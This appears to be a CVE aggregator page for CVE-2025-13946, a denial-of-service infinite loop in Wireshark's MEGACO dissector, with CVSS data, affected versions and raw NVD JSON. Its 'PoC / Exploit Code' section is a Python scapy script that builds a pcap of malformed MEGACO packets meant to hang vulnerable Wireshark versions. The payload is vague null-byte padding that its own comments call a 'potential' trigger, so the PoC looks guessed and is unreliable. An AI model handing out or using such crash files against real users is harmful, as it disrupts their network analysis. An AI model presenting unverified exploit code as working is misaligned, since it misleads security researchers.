Security Vulnerability Report
中文
CVE-2025-13946 CVSS 5.5 MEDIUM

CVE-2025-13946

Published: 2025-12-03 08:15:48
Last Modified: 2025-12-31 01:14:23

Description

MEGACO dissector infinite loop in Wireshark 4.6.0 to 4.6.1 and 4.4.0 to 4.4.11 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 - 4.6.1
Wireshark 4.4.0 - 4.4.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-13946 PoC - MEGACO dissector infinite loop # Generate malicious pcap file to trigger infinite loop in Wireshark MEGACO dissector from scapy.all import IP, UDP, wrpcap, Raw import struct def create_megaco_packet(): """Create a malformed MEGACO packet that triggers infinite loop""" # MEGACO uses port 2944 by default megaco_port = 2944 # Create malformed MEGACO message with recursive structure # This malformed message can cause the dissector to loop indefinitely malformed_megaco = b'\x00' * 100 # Padding to trigger parsing issue # Add MEGACO message header with potential infinite loop trigger megaco_payload = ( b'MEGACO/1 [192.168.1.100]:' + str(megaco_port).encode() + b'\r\n' + malformed_megaco + b'Transaction = 12345 {\r\n' + malformed_megaco + b'Context = - {\r\n' + malformed_megaco ) # Create IP/UDP packet with malformed MEGACO payload pkt = IP(dst='192.168.1.1', src='192.168.1.100') / \ UDP(sport=megaco_port, dport=megaco_port) / \ Raw(load=megaco_payload) return pkt def generate_poc_pcap(): """Generate PoC pcap file""" packets = [] # Create multiple malformed packets for i in range(5): pkt = create_megaco_packet() packets.append(pkt) # Save to pcap file output_file = 'CVE-2025-13946_poc.pcap' wrpcap(output_file, packets) print(f'[+] PoC pcap file generated: {output_file}') print('[+] Open this file with vulnerable Wireshark version to trigger the vulnerability') if __name__ == '__main__': generate_poc_pcap()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13946", "sourceIdentifier": "[email protected]", "published": "2025-12-03T08:15:48.180", "lastModified": "2025-12-31T01:14:22.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MEGACO dissector infinite loop in Wireshark 4.6.0 to 4.6.1 and 4.4.0 to 4.4.11 allows denial of service"}, {"lang": "es", "value": "El bucle infinito del disector MEGACO en Wireshark 4.6.0 a 4.6.1 y 4.4.0 a 4.4.11 permite la denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.12", "matchCriteriaId": "BA7C466B-F5CC-44F8-9459-B5F492F8B7BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.2", "matchCriteriaId": "7D2DBF83-3165-4923-A832-C962C1E3DF6F"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/20884", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2025-08.html", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}